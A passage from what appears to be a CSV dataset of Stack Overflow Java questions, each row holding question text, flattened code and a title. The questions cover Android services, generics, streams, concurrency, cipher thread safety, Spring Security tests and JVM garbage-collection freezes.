to not be stopped , even when all components have unbound themselves.As the Android Developer Guide says `` [ ... ] Multiple components can bind to the service at once , but when all of them unbind , the service is destroyed . `` The Guide also says `` [ ... ] your service can work both ways—it can be started ( to run indefinitely ) and also allow binding . `` In my application , the service is started when the application starts.I want to have this service destroyed only by a user-click on a close-button I am displaying in a custom notification . But currently , when I am destroying my MainActivity the service also stops.This is where I am now , this is called when I want to create my Service : ... which calls this : ... which calls this : Have I misunderstood something ? I feel like the service should keep running , even the activity is destroyed , because I first made a started service and then bound to it .","public void createServiceConnection ( ) { musicConnection = new ServiceConnection ( ) { @ Override public void onServiceConnected ( ComponentName name , IBinder service ) { MusicService.MusicBinder binder = ( MusicService.MusicBinder ) service ; musicSrv = binder.getService ( ) ; attachMusicService ( ) ; } } ; } public void attachMusicService ( ) { playerFragment.setMusicService ( musicSrv ) ; musicSrv.attach ( context ) ; //need this for my listeners , nevermind bindService ( context ) ; } public void bindService ( Context act ) { if ( playIntent==null ) { playIntent = new Intent ( act , MusicService.class ) ; act.startService ( playIntent ) ; act.bindService ( playIntent , musicConnection , Context.BIND_AUTO_CREATE ) ; } else { act.startService ( playIntent ) ; act.bindService ( playIntent , musicConnection , Context.BIND_AUTO_CREATE ) ; } //finished . I can do stuff with my Service here . }",Do n't destroy a bound Service on Activity destroy +Java,"Here is my initialization for the ArrayList theNeighbors , which uses the interafce Iterable for declaration . However , as I use method add ( ) to the variable I just built , the compiler alerts Board.java:78 : error : can not find symbol theNeighbors.add ( nb ) ; ^ symbol : method add ( Board ) location : variable theNeighbors of type IterableWhat makes it happen ? In another case while I useThe add ( ) method works well . Is it true that the interface you choose for the declaration should always have the method you want to call later ?",Iterable < Board > theNeighbors = new ArrayList < Board > ( ) ; List < Board > theNeighbors = new ArrayList < Board > ( ) ;,Can I declare the ArrayList in this way ? +Java,"Suppose I have a list of intervals ( sorted by start ) and I want to break them up so that I have a list of overlapping groups of intervals . So , for example , with Interval as : And a List < Interval > like : I want an output of List < List < Interval > > : I can code this up , but I 'm really enjoying the more functional approach of Java 8 , and want to know if there is anything like an idiomatic way to do this using Java 8 streams.I 've had a look at the `` group by '' styles of provided Collectors , but they do n't seem to apply since I 'm not really grouping by a classifier- you ca n't compute the groups based only on a property of each individual element , you have to consider the properties of each element in relation to the groups that have been computed so far.Certainly there is non-crazy way to do this in functional languages ( though I speak as someone who is n't really a functional programmer : - ) ) . How can I do it with streams in Java 8 ?","public class Interval { private final int start ; private final int end ; public Interval ( int start , int end ) { this.start = start ; this.end = end ; } public int getStart ( ) { return start ; } public int getEnd ( ) { return end ; } public String toString ( ) { return `` ( `` +start+ '' , '' +end+ '' ) '' ; } } [ ( 0,4 ) , ( 1,7 ) , ( 6,10 ) , ( 13,17 ) , ( 20,100 ) , ( 22,31 ) , ( 60,65 ) ] [ [ ( 0,4 ) , ( 1,7 ) , ( 6,10 ) ] , [ ( 13,17 ) ] , [ ( 20,100 ) , ( 22,31 ) , ( 60,65 ) ] ]",Java 8 partition list into groups by condition involving previous elements +Java,"I have no problem with simple callbacks when free function passed as parameter to another , thanks to @ flexo.But assume bit more difficult C interface : I intent to generate some nice Java wrapper for code like this . I assume to have as result I realize that SWIG have some problem with generation of pure Java interfaces , but I believe it 's not major problem . The problem is I have no idea how to reinterpret such nested structure to acceptable Java code .","typedef struct { int id ; const char* name ; } Item ; typedef struct { int value ; Items_Callback callback ; void *context ; } Items_Call ; typedef int ( *Items_Callback ) ( const Item *item , void *context ) ; int Items_create ( const Item *item , Items_Call *call ) { ... call- > callback ( item , call- > context ) ; ... } class Item { public int id ; public String name ; } class Items_Call { public int value ; public Object context ; public Interface callback ; public void setInterface ( Interface i ) { callback=i ; } ; } public interface Interface { public int Items_Callback ( Item item , Object context ) ; } int Items_create ( Item item , Items_Call call ) { ... call.callback.Items_Callback ( item , call.context ) ; ... }",Callback as parameter of C structure - Java wrapper generation +Java,"I have the following kind of code : Each thread first executes block1 , non synchronized block , and block2 in that same order . If thread T1 executes block1 before thread T2 , then T1 should execute block2 before T2 . There are more than two threads.Is there a way to achieve this in java ?",synchronized block1 { //only one thread in the block } { lot of code where synchronization not necessary } synchronized block2 { //only one thread in the block . //All the threads that executed block1 before this thread should have already executed this block . },synchronization : Threads execute two critical sections in same order +Java,"I 'm using this method to shrink TextView text as it 's name suggests : And I 'm having a stack-overflow only with this devices ( and some times it does n't happen ) : Samsung GT-I9192Samsung GT-I9300LG-D290OS versions : 4.4.2 , 4.3I 'm calling this function inside TextWatcher afterTextChanged ( ) and yes that could be the problem , but the idea is to shrink the text size while its being inserted.Example Logs : Start to type letters ( scroll to read all the log ) : Start to erase letters : What am I doing wrong and how can I improve this solution to prevent this exceptions ?","public static float shrinkTextToFit ( String caller , float availableWidth , TextView textView , float startingTextSize , float minimumTextSize ) { startingTextSize = textView.getTextSize ( ) < startingTextSize ? textView.getTextSize ( ) : startingTextSize ; Log.i ( `` 123 '' , `` ========================= '' ) ; Log.i ( `` 123 '' , caller + `` called shrinkTextToFit '' ) ; CharSequence text = textView.getText ( ) ; float textSize = startingTextSize ; textView.setTextSize ( startingTextSize ) ; while ( ! TextUtils.equals ( text , ( TextUtils.ellipsize ( text , textView.getPaint ( ) , availableWidth , TextUtils.TruncateAt.END ) ) ) ) { textSize -= 2 ; Log.i ( `` 123 '' , `` textSize : `` + textSize ) ; if ( ( textSize < = minimumTextSize ) || ( textSize < = 0 ) ) { break ; } else { textView.setTextSize ( textSize ) ; } } return textSize ; } 10 at android.widget.TextView.sendAfterTextChanged ( TextView.java:8503 ) 11 at android.widget.TextView $ ChangeWatcher.afterTextChanged ( TextView.java:10633 ) 12 at android.text.SpannableStringBuilder.sendAfterTextChanged ( SpannableStringBuilder.java:970 ) 13 at android.text.SpannableStringBuilder.replace ( SpannableStringBuilder.java:497 ) 14 at android.text.SpannableStringBuilder.append ( SpannableStringBuilder.java:247 ) 15 at android.text.TextUtils.ellipsize ( TextUtils.java:1185 ) 16 at android.text.TextUtils.ellipsize ( TextUtils.java:1079 ) 17 at android.text.TextUtils.ellipsize ( TextUtils.java:1054 ) 18 at app.utils.Utils.float shrinkTextToFit ( float , android.widget.TextView , float , float ) @ Overridepublic void afterTextChanged ( Editable s ) { mEditText.removeTextChangedListener ( mTextWatcher ) ; Utils.shrinkTextToFit ( `` watcher '' , mAvailableWidth , mEditText , 50 , 10 ) ; mEditText.addTextChangedListener ( mTextWatcher ) ; } 08-01 14:48:50.284 watcher called shrinkTextToFit08-01 14:48:50.676 =========================08-01 14:48:50.677 watcher called shrinkTextToFit08-01 14:48:51.749 =========================08-01 14:48:51.749 watcher called shrinkTextToFit08-01 14:48:51.749 textSize : 48.008-01 14:48:51.750 textSize : 46.008-01 14:48:51.751 textSize : 44.008-01 14:48:51.752 textSize : 42.008-01 14:48:52.500 =========================08-01 14:48:52.501 watcher called shrinkTextToFit08-01 14:48:52.501 textSize : 48.008-01 14:48:52.501 textSize : 46.008-01 14:48:52.501 textSize : 44.008-01 14:48:52.501 textSize : 42.008-01 14:48:52.501 textSize : 40.008-01 14:48:52.503 textSize : 38.008-01 14:48:52.504 textSize : 36.008-01 14:48:53.013 =========================08-01 14:48:53.013 watcher called shrinkTextToFit08-01 14:48:53.013 textSize : 48.008-01 14:48:53.013 textSize : 46.008-01 14:48:53.013 textSize : 44.008-01 14:48:53.014 textSize : 42.008-01 14:48:53.015 textSize : 40.008-01 14:48:53.015 textSize : 38.008-01 14:48:53.015 textSize : 36.008-01 14:48:53.016 textSize : 34.008-01 14:48:53.017 textSize : 32.008-01 14:48:53.020 textSize : 30.008-01 14:48:59.948 =========================08-01 14:48:59.949 watcher called shrinkTextToFit08-01 14:48:59.949 textSize : 48.008-01 14:48:59.949 textSize : 46.008-01 14:48:59.949 textSize : 44.008-01 14:48:59.949 textSize : 42.008-01 14:48:59.950 textSize : 40.008-01 14:48:59.950 textSize : 38.008-01 14:48:59.950 textSize : 36.008-01 14:48:59.950 textSize : 34.008-01 14:48:59.951 textSize : 32.008-01 14:48:59.951 textSize : 30.008-01 14:48:59.951 textSize : 28.0 08-01 14:48:59.953 =========================08-01 14:48:59.953 watcher called shrinkTextToFit08-01 14:48:59.954 textSize : 48.008-01 14:48:59.954 textSize : 46.008-01 14:48:59.954 textSize : 44.008-01 14:48:59.954 textSize : 42.008-01 14:48:59.954 textSize : 40.008-01 14:48:59.954 textSize : 38.008-01 14:48:59.954 textSize : 36.008-01 14:48:59.954 textSize : 34.008-01 14:48:59.954 textSize : 32.008-01 14:48:59.954 textSize : 30.008-01 14:49:00.116 =========================08-01 14:49:00.116 watcher called shrinkTextToFit08-01 14:49:00.116 textSize : 48.008-01 14:49:00.117 textSize : 46.008-01 14:49:00.117 textSize : 44.008-01 14:49:00.117 textSize : 42.008-01 14:49:00.117 textSize : 40.008-01 14:49:00.117 textSize : 38.008-01 14:49:00.117 textSize : 36.008-01 14:49:00.121 =========================08-01 14:49:00.121 watcher called shrinkTextToFit08-01 14:49:00.121 textSize : 48.008-01 14:49:00.121 textSize : 46.008-01 14:49:00.121 textSize : 44.008-01 14:49:00.121 textSize : 42.008-01 14:49:00.284 =========================08-01 14:49:00.284 watcher called shrinkTextToFit08-01 14:49:00.288 =========================08-01 14:49:00.288 watcher called shrinkTextToFit08-01 14:49:00.444 =========================",Android stackoverflow using while loop +Java,If you have a program like this : Note the URL http : //example.com written in between the two output statements.Why does the program compile without any errors ?,public class ABC { public static void main ( String args [ ] ) { System.out.println ( `` 1 '' ) ; http : //example.com System.out.println ( `` 2 '' ) ; } },Why does a HTTP URL in Java compile ? +Java,I generally writein preference toto avoid someMethod ( ) being computed repeatedly . However I 'm never really sure when I need to do this . How clever is Java at recognising methods that will give the same result every time and only need to be executed once at the beginning of a loop ?,"for ( int i = 0 , n = someMethod ( ) ; i < n ; i++ ) for ( int i = 0 ; i < someMethod ( ) ; i++ )",How to write Java for loops to avoid repeatedly computing the upper bound +Java,"I have a component with properties as follows.To make it editable properties in a jcr node , I used a non-standard method . I created sling : OsgiConfig in path /apps/system/config having properties declared in java code , which is working fine.But if I just have the same sling : OsgiConfig inside /etc/myapp/myconfig , it does not work .","@ Component ( immediate = true , metatype = true , label = `` Conf Details '' ) @ Service ( value = { LocationConfigurationUtil.class } ) @ Properties ( { @ Property ( label = `` location blueprint '' , name = `` locationPath '' , value = `` '' , description = `` ... '' ) , @ Property ( label = `` location page template '' , name = `` locationTemplate '' , value = `` '' , description = `` ... '' ) , @ Property ( label = `` basepath live copies '' , name = `` liveCopyRoot '' , value = `` /content/WebRoot '' , description = `` ... '' ) } ) public class LocationConfigurationUtil { @ Activate protected void activate ( Map < String , Object > mapCreated ) { // some code } }",Why sling : OsgiConfig node not working in /etc/folder in AEM ? +Java,"Javadoc from ConcurrentHashMap # computeIfAbsent says The computation should be short and simple , and must not attempt to update any other mappings of this map.But , from what I see , using remove ( ) and clear ( ) methods inside mappingFunction works fine . For example this What bad consequences of using remove ( ) method inside mappingFunction could be ?","Key element = elements.computeIfAbsent ( key , e - > { if ( usages.size ( ) == maxSize ) { elements.remove ( oldest ) ; } return loader.load ( key ) ; } ) ;",Consequences of updating other key ( s ) in ConcurrentHashMap # computeIfAbsent +Java,"I 'm trying to understanding the different compilation outcome of seemingly analogous code . It appears it is possible to cast a List < Object > to a List < T > but only if T is n't bounded by a concrete class . So given ... The following compiles in class Test < T > as well as in class Test < T extends CharSequence > but not in class Test < T extends BigDecimal > nor class Test < T extends BigDecimal & CharSequence > .So where does the difference come from for T bounded with a class type and an interface type ? Edit : Some complete code per request . This compiles with a compiler warning in line 9 . It 's indeed unsafe as operating on items of result as if they were instances of CharSequence results in a ClassCastException.However , this does n't compile at all : Compiler error in line 9 : Can not cast List < Object > to List < T > .",List < Object > bis = new ArrayList < > ( ) ; List < T > result = ( List < T > ) bis ; public class Sandbox < T extends CharSequence > { public static void main ( String [ ] args ) { new Sandbox < CharSequence > ( ) .foo ( ) ; } private void foo ( ) { List < Object > bis = Arrays.asList ( Integer.valueOf ( 1 ) ) ; List < T > result = ( List < T > ) bis ; System.out.println ( result ) ; } } public class Sandbox < T extends BigDecimal > { public static void main ( String [ ] args ) { new Sandbox < BigDecimal > ( ) .foo ( ) ; } private void foo ( ) { List < Object > bis = Arrays.asList ( Integer.valueOf ( 1 ) ) ; List < T > result = ( List < T > ) bis ; System.out.println ( result ) ; } },Cast list of Object to list of class ' type parameter +Java,"Does Java shadow type parameters ? I am finding it hard to test for myself because Java generics do not get reified at run time.For example , given this code : Both the below statements compile fine : When the NestedGeneric is passed a type parameter and its constructor called , what is T ? Is it always going to be the same as the type parameter passed to nestedGeneric ? In other words , can an outer classes type parameters be passed to an inner classes generic type declarations ?",public class NestedGeneric < T > { private InnerGeneric < T > innerGenericInstance ; private static class InnerGeneric < T > { public T innerGenericField ; } NestedGeneric ( ) { innerGenericInstance = new InnerGeneric < T > ( ) ; } } NestedGeneric < Integer > test1 = new NestedGeneric < Integer > ( ) ; NestedGeneric.InnerGeneric < String > test2 = new NestedGeneric.InnerGeneric < String > ( ) ;,Type declaration based on type parameters in inner classes +Java,"Recently I came across with a builder pattern that intrigued me.So , I have an EntityBuilder which builds an Entity , but it does n't return the entity . Here is the method signature : Instead , inside the build ( ) method , it delivers the new object created , the Entity , to a CacheImplementation instance to store it.Note : the CacheImpl is injected in the builder 's constructor.Does this sounds like best practice ? Later edit 0The builder is used in the following way : Note : the cacheImpl instance just stores the entities in a List < > which is accesses every N seconds .",public void build ( ) ; public void build ( ) { //create new entity cacheImplementation.add ( entity ) ; } public interface EntityBuilder { void setProperty0 ( PropertyObject propertyObject0 ) ; void setProperty1 ( PropertyObject propertyObject1 ) ; void setProperty2 ( PropertyObject propertyObject2 ) ; // ... void build ( ) ; } public class EntityBuilderImpl implements EntityBuilder { PropertyObject propertyObject0 ; PropertyObject propertyObject1 ; PropertyObject propertyObject2 ; // ... // setters for all properties @ Override public void build ( ) { //create new entity cacheImplementation.add ( entity ) ; } } public class EntityProcessor { private EntityBuilderFactory entityBuilderFactory ; //initialized in constructor void process ( EntityDetails entityDetails ) { EntityBuilder entityBuilder = this.entityBuilderFactory.getNewEntitytBuilder ( ) ; //.. // entityBuilder.set all properties from entityDetails entityBuilder.build ( ) ; } },Logic inside BuilderPattern +Java,"I know that static methods ca n't be abstracted nor can they be overridden , only hidden ( and in which case late bindings do n't happen ) . With regard to this , I am struggling with a logical way to express the following relationship : In this contrived example , max power is an attribute that I expect every spell to know ( and every subclass of Spell has an individual max power that applies to all instances of itself ) . In other SO threads , the proposed solution to this impossible situation is to make getMaxPower ( ) an instance method . However , I do n't think this makes sense because power is an implementation detail that is useful to know before instantiation ( eg . Constructing an array of spell instances from power 1 to the max power of that spell ) .A solution that I see is creating a factory for each spell ( or a more generic one for all spells ) , which has an instance method getMaxPower ( ) that knows the max power attribute of the spell which it instantiates . However , this also does n't seem optimal to me because : It makes more sense for each spell to know its own propertiesThis makes the subclass of Spell oblivious to an implementation detail ( namely , its constructor ca n't check whether a provided power exceeds its max power ) Is the factory pattern the correct approach ? If so , what would be the logical justification to it ? If not , is there a pattern that more appropriately fits this problem ?","public abstract class Spell { protected int power ; public Spell ( int power ) { this.power = power ; } public int getPower ( ) { return power ; } // I know this is impossible , but please bare with me public abstract static int getMaxPower ( ) ; } public class AttackSpell extends Spell { public AttackSpell ( int power ) { super ( power ) ; } public static int getMaxPower ( ) { return 50 ; } } public class HealSpell extends Spell { public HealSpell ( int power ) { super ( power ) ; } public static int getMaxPower ( ) { return 30 ; } }",Design Pattern to Avoid Abstract Static Methods ( or Overriding a Static Method ) +Java,"When using BlockingQueue to consume data that is produced what is the most efficient method for waiting for the data to appear ? Scenario : Step 1 ) The data list will be a data store where timestamps are added to . These timestamps are required to be ordered by closest to current time priority . This list may be empty . A thread will be inserting the timestamps into it . ProduceStep 2 ) I want to consume the data in here in another thread that will take the timestamps from data and check if they are after the current time . Consumer then ProduceStep 3 ) If they are after the current time then send them on to another thread to be consumed and processed . Once the time stamp data is processed here , remove from the Step 1 data store . Consume then edit the original list . In the below code the data field refers to the data store in step 1.The results is the list of timestamps that have been sent that are after the current time . Step 2.The results will then be consumed step 3.QuestionsWhat is the most efficient way to wait for data to be added in the data list that could be potentially empty ? Focus on : Following from an earlier question .",private BlockingQueue < LocalTime > data ; private final LinkedBlockingQueue < Result > results = new LinkedBlockingQueue < Result > ( ) ; @ Overridepublic void run ( ) { while ( ! data.isEmpty ( ) ) { for ( LocalTime dataTime : data ) { if ( new LocalTime ( ) .isAfter ( dataTime ) ) { results.put ( result ) ; } } } } while ( ! data.isEmpty ( ) ),Java : Thread producer consumer what is the most efficient way to wait for data to be produced +Java,"Based on the fact that a byte type in java is a signed 8 bit two 's complement integer , why does n't the second way of declaring a byte work ? My understanding is that 1000000 should be -128 but java indicates the notok variable above should be an int and not a byte",byte ok = -128 ; byte notok = 0b10000000 ;,-128 as binary literal in Java +Java,When I compile this with javac -Xlint Test.java I get a couple of warnings : If I change Consumer to Supplier the warnings disappear . This program is warning free : Why is that ? What does this warning mean ? How are these methods ambiguous ? Is it safe to suppress the warning ?,"import java.util.function . * ; class Test { void test ( int foo , Consumer < Integer > bar ) { } void test ( long foo , Consumer < Long > bar ) { } void test ( float foo , Consumer < Float > bar ) { } void test ( double foo , Consumer < Double > bar ) { } } Test.java:4 : warning : [ overloads ] test ( int , Consumer < Integer > ) in Test is potentially ambiguous with test ( long , Consumer < Long > ) in Test void test ( int foo , Consumer < Integer > bar ) { } ^Test.java:6 : warning : [ overloads ] test ( float , Consumer < Float > ) in Test is potentially ambiguous with test ( double , Consumer < Double > ) in Test void test ( float foo , Consumer < Float > bar ) { } ^2 warnings import java.util.function . * ; class Test { void test ( int foo , Supplier < Integer > bar ) { } void test ( long foo , Supplier < Long > bar ) { } void test ( float foo , Supplier < Float > bar ) { } void test ( double foo , Supplier < Double > bar ) { } }",Warning : [ overloads ] method m1 is potentially ambiguous with method m2 +Java,"I am having some problems when testing an oauth2 resource server using @ WebMvcTest and the POST HTTP method.I always receive a 403 status code when I do n't send the csrf token , even though the token is not required when I am using a bearer token . Here is the POST method that I want to test.Here is my security config : I am following the tests provided in the samples of spring-security.The following test was supposed to pass but it fails because the csrf token is not sent in the request.When I add the csrf token to the request , the test passes : When I run the application , there is no need to send a csrf token in the POST request.I have forked the Spring Security GitHub repository and the project with this failing test is available at this link.Is there a way for me to configure my tests so I do n't need to send the csrf token in the POST request ?","@ PostMapping ( `` /message '' ) public String createMessage ( @ RequestBody String message ) { return String.format ( `` Message was created . Content : % s '' , message ) ; } http.authorizeRequests ( authorizeRequests - > authorizeRequests .antMatchers ( `` /message/** '' ) .hasAuthority ( `` SCOPE_message : read '' ) .anyRequest ( ) .authenticated ( ) ) .oauth2ResourceServer ( oauth2ResourceServer - > oauth2ResourceServer .jwt ( withDefaults ( ) ) ) ; mockMvc.perform ( post ( `` /message '' ) .content ( `` Hello message '' ) .with ( jwt ( jwt - > jwt.claim ( `` scope '' , `` message : read '' ) ) ) .andExpect ( status ( ) .isOk ( ) ) .andExpect ( content ( ) .string ( is ( `` Message was created . Content : Hello message '' ) ) ) ; mockMvc.perform ( post ( `` /message '' ) .content ( `` Hello message '' ) .with ( jwt ( jwt - > jwt.claim ( `` scope '' , `` message : read '' ) ) ) .with ( csrf ( ) ) ) .andExpect ( status ( ) .isOk ( ) ) .andExpect ( content ( ) .string ( is ( `` Message was created . Content : Hello message '' ) ) ) ;",Spring security - oauth2 resource server tests +Java,"I wish to understand this concept : T object - generic , will be erased into actual type. ? object - will be erased into what ? Object object ; What are the differences between T , ? and Object ? I can easily understand # 1 , but what about : What is the difference between the two ? I have read that I ca n't use ? explicitly , like T or any other variable , and that ? is related to objects , not types.But what is the practical reason ? Why ca n't I just write a List of objects ( List < Object > ) instead of a List of wildcards ( List < ? > ) ? As I do n't know the types of objects on both cases.In addition , I would like to know what is the erasure for ? ?",Object var ; ? var ;,"Java generics , objects and wildcards differences & clarifications" +Java,In java JRE I saw the codeWhy is lock captured to a private variable ? I would expect simply,private final ReentrantLock lock ; public E poll ( ) { final ReentrantLock lock = this.lock ; lock.lock ( ) ; public E poll ( ) { lock.lock ( ) ;,Why is lock captured to a local variable +Java,"I have a Gradle project which creates a zip artifact . I define the artifact via artifacts.add ( 'default ' , zipTask ) . I add this project to another project via includeBuild and use the zip as dependency ( dependencies { myConfiguration 'org.example : testA : + @ zip ' } ) .So far so good . It works.The problem starts when I add the plugin java to the first project . For some reason it prevents Gradle from finding the zip artifact.The error is : Why ? How to fix it ? Complete example : Project testAsettings.gradle : build.gradle : Project testBsettings.gradle : build.gradle : Update 1I 've added some diagnostic code at the end of the build.grade : and in the version with java plugin it prints : However , I 'm not sure if an additional artifact can break something.It does n't seem to be a problem when I add a second artifact myself.Update 2Maybe the zip file is n't the best representation of my intentions . After all , I could build java related files in one project and zip them in another.However , the problem also applies to war files . ( War plugin internally uses the Java plugin so it can not be run separately . )","Execution failed for task ' : doubleZipTask'. > Could not resolve all files for configuration ' : myConfiguration ' . > Could not find testA.zip ( project : testA ) . rootProject.name = 'testA ' plugins { id 'base ' // Uncomment the line below to break the zip artifact //id 'java ' } group = 'org.test'version = ' 0.0.0.1_test'task zipTask ( type : Zip ) { from './settings.gradle ' // just so the zip is n't empty } artifacts.add ( 'default ' , zipTask ) rootProject.name = 'testB'// This line may be commented out in some cases and then the artifact should be downloaded from Maven repository.// For this question it should be always uncommented , though.includeBuild ( '../testA ' ) plugins { id 'base ' } configurations { myConfiguration } dependencies { myConfiguration 'org.test : testA:0.0.0.+ @ zip ' } task doubleZipTask ( type : Zip ) { from configurations.myConfiguration } configurations.default.allArtifacts.each ( ) { println it.toString ( ) + ' - > name : ' + it.getName ( ) + ' , extension : ' + it.getExtension ( ) } ArchivePublishArtifact_Decorated testA : zip : zip : - > name : testA , extension : ziporg.gradle.api.internal.artifacts.dsl.LazyPublishArtifact @ 2c6aaa5 - > name : testA , extension : jar",Gradle is unable to find zip artifact in composite build if java plugin is applied +Java,"It seems that I have a thread-safety issue with Cipher and/or PBEKeySpec.JDK : 1.8.0_102 , 1.8.0_151 and 9.0.1+11PBKDF2 algorithm : PBKDF2WithHmacSHA1Cipher algorithm : AES/CFB/NoPaddingKey algorithm : AESI know these classes are n't tread-safe if we use the same instances , but that 's not the case , I 'm getting a new instance at each decode.But even that , sometimes the decode fails , there is no exception , just an unexpected decoded value.I 've been able to reproduce the problem : Output : I do n't understand how this code can fail , is there a bug in the Cipher and/or PBEKeySpec classes ? Or have I missed something in my test ? Any help would be very welcomed.UPDATEOpenJDK issue : https : //bugs.openjdk.java.net/browse/JDK-8191177","@ Testpublic void shouldBeThreadSafe ( ) { final byte [ ] encoded = { 27 , 26 , 18 , 88 , 84 , -87 , -40 , -91 , 70 , -74 , 87 , -21 , -124 , -114 , -44 , -24 , 7 , -7 , 104 , -26 , 45 , 96 , 119 , 45 , -74 , 51 } ; final String expected = `` dummy data '' ; final Charset charset = StandardCharsets.UTF_8 ; final String salt = `` e47312da-bc71-4bde-8183-5e25db6f0987 '' ; final String passphrase = `` dummy-passphrase '' ; // Crypto configuration final int iterationCount = 10 ; final int keyStrength = 128 ; final String pbkdf2Algorithm = `` PBKDF2WithHmacSHA1 '' ; final String cipherAlgorithm = `` AES/CFB/NoPadding '' ; final String keyAlgorithm = `` AES '' ; // Counters final AtomicInteger succeedCount = new AtomicInteger ( 0 ) ; final AtomicInteger failedCount = new AtomicInteger ( 0 ) ; // Test System.setProperty ( `` java.util.concurrent.ForkJoinPool.common.parallelism '' , `` 10 '' ) ; IntStream.range ( 0 , 1000000 ) .parallel ( ) .forEach ( i - > { try { SecretKeyFactory factory = SecretKeyFactory.getInstance ( pbkdf2Algorithm ) ; KeySpec spec = new PBEKeySpec ( passphrase.toCharArray ( ) , salt.getBytes ( charset ) , iterationCount , keyStrength ) ; SecretKey tmp = factory.generateSecret ( spec ) ; SecretKeySpec key = new SecretKeySpec ( tmp.getEncoded ( ) , keyAlgorithm ) ; Cipher cipher = Cipher.getInstance ( cipherAlgorithm ) ; int blockSize = cipher.getBlockSize ( ) ; IvParameterSpec iv = new IvParameterSpec ( Arrays.copyOf ( encoded , blockSize ) ) ; byte [ ] dataToDecrypt = Arrays.copyOfRange ( encoded , blockSize , encoded.length ) ; cipher.init ( Cipher.DECRYPT_MODE , key , iv ) ; byte [ ] utf8 = cipher.doFinal ( dataToDecrypt ) ; String decoded = new String ( utf8 , charset ) ; if ( ! expected.equals ( decoded ) ) { System.out.println ( `` Try # '' + i + `` | Unexpected decoded value : [ `` + decoded + `` ] '' ) ; failedCount.incrementAndGet ( ) ; } else { succeedCount.incrementAndGet ( ) ; } } catch ( Exception e ) { System.out.println ( `` Try # '' + i + `` | Decode failed '' ) ; e.printStackTrace ( ) ; failedCount.incrementAndGet ( ) ; } } ) ; System.out.println ( failedCount.get ( ) + `` of `` + ( succeedCount.get ( ) + failedCount.get ( ) ) + `` decodes failed '' ) ; } Try # 656684 | Unexpected decoded value : [ �jE |S��� ] Try # 33896 | Unexpected decoded value : [ �jE |S��� ] 2 of 1000000 decodes failed",Java Cipher - PBE thread-safety issue +Java,"Running with JVM : OS : Jvm Options : Running in an OSGI environment , Aerospike DB , NETTY ( NIO ) for networking.Ran a weekend longevity test.This was the last print : After 2 days I ran strace on the pid , and then those are the next prints : The first print finished and the next print showed a 2 days GC.The jvm did not respone to thread dump signals during the freeze ( pkill -QUIT pid ) .This freeze happens every few days.The freeze happens not only with the G1 collector , but also with CMS collector.How can I start debugging this , and what can potentially cause this ? Thank you.EDIT : Had another freeze , this time the strace does not release the freeze.The second freeze was released using jstack.UPDATE : Found the problem ! Look at the answer below .","java version `` 1.7.0_79 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_79-b15 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 24.79-b02 , mixed mode ) CentOS release 6.4 ( Final ) -Xmx4g -Xms4g -XX : MaxPermSize=4g -XX : +HeapDumpOnOutOfMemoryError -XX : +PrintClassHistogram -XX : +CMSClassUnloadingEnabled -verbose : gc -XX : +UseG1GC -XX : MaxGCPauseMillis=200 -XX : +DisableExplicitGC [ 2015-12-11 09:54:51,185 ] INFO : [ GC pause ( young ) [ 2015-12-11 09:54:51,185 ] INFO : [ GC pause ( young ) 3598M- > 1458M ( 4096M ) , 0.0280020 secs ] [ 2015-12-13 11:54:54,353 ] INFO : [ GC pause ( young ) 3598M- > 1464M ( 4096M ) , 180001.5628870 secs ]",JVM Freeze under high load in longevity tests +Java,"I have ~300 text files that contain data on trackers , torrents and peers . Each file is organised like this : tracker.txtI have several files per tracker and much of the information is repeated ( same information , different time ) .I 'd like to be able to analyse what I have and report statistics on things likeHow many torrents are at each trackerHow many trackers are torrents listed onHow many peers do torrents haveHow many torrents to peers haveThe sheer quantity of data is making this hard for me to . Here 's What I 've tried.MySQLI put everything into a database ; one table per entity type and tables to hold the relationships ( e.g . this torrent is on this tracker ) .Adding the information to the database was slow ( and I did n't have 13GB of it when I tried this ) but analysing the relationships afterwards was a no-go . Every mildly complex query took over 24 hours to complete ( if at all ) .An example query would be : I tried bumping up the memory allocations in my my.cnf file but it did n't seem to help . I used the my-innodb-heavy-4G.cnf settings file.EDIT : Adding table detailsHere 's what I was using : There are no foreign keys . I was confident in my ability to only use IDs that corresponded to existing entities , adding a foreign key check seemed like a needless delay . Is this naive ? MatlabThis seemed like an application that was designed for some heavy lifting but I was n't able to allocate enough memory to hold all of the data in one go.I did n't have numerical data so I was using cell arrays , I moved from these to tries in an effort to reduce the footprint . I could n't get it to work.JavaMy most successful attempt so far . I found an implementation of Patricia Tries provided by the people at Limewire . Using this I was able to read in the data and count how many unique entities I had:13 trackers1.7mil torrents32mil peersI 'm still finding it too hard to work out the frequencies of the number of torrents at peers . I 'm attempting to do so by building tries like this : From what I 've been able to do so far , if I can get this peers trie built then I can easily find out how many torrents are at each peer . I ran it all yesterday and when I came back I noticed that the log file wa n't being written to , I ^Z the application and time reported the following : This does n't look right to me , should user and sys be so low ? I should mention that I 've also increased the JVM 's heap size to 7GB ( max and start ) , without that I rather quickly get an out of memory error.I do n't mind waiting for several hours/days but it looks like the thing grinds to a halt after about 10 hours.I guess my question is , how can I go about analysing this data ? Are the things I 've tried the right things ? Are there things I 'm missing ? The Java solution seems to be the best so far , is there anything I can do to get it work ?","time torrent time peer time peer ... time torrent ... SELECT COUNT ( DISTINCT torrent ) FROM TorrentAtPeer , Peer WHERE TorrentAtPeer.peer = Peer.id GROUP BY Peer.ip ; Peer Torrent Tracker -- -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- - -- -- -- -- -- -- -- -- -- id ( bigint ) id ( bigint ) id ( bigint ) ip* ( int ) infohash* ( varchar ( 40 ) ) url ( varchar ( 255 ) ) port ( int ) TorrentAtPeer TorrentAtTracker -- -- -- -- -- -- -- -- - -- -- -- -- -- -- -- -- id ( bigint ) id ( bigint ) torrent* ( bigint ) torrent* ( bigint ) peer* ( bigint ) tracker* ( bigint ) time ( int ) time ( int ) *indexed field . Navicat reports them as being of normal type and Btree method.id - Always the primary key Trie < String , Trie < String , Object > > peers = new Trie < String , Trie < String , Object > > ( ... ) ; for ( String line : file ) { if ( containsTorrent ( line ) ) { infohash = getInfohash ( line ) ; } else if ( containsPeer ( line ) ) { Trie < String , Object > torrents = peers.get ( getPeer ( line ) ) ; torrents.put ( infohash , null ) ; } } real 565m41.479suser 0m0.001ssys 0m0.019s",How can I analyse ~13GB of data ? +Java,"I 've decided to measure incrementation with different locking strategies and using JMH for this purpose.I 'm using JMH for checking throughput and average time as well as simple custom test for checking correctness.There are six strategies : Atomic countReadWrite locking countSynchronizing with volatileSynchronizing 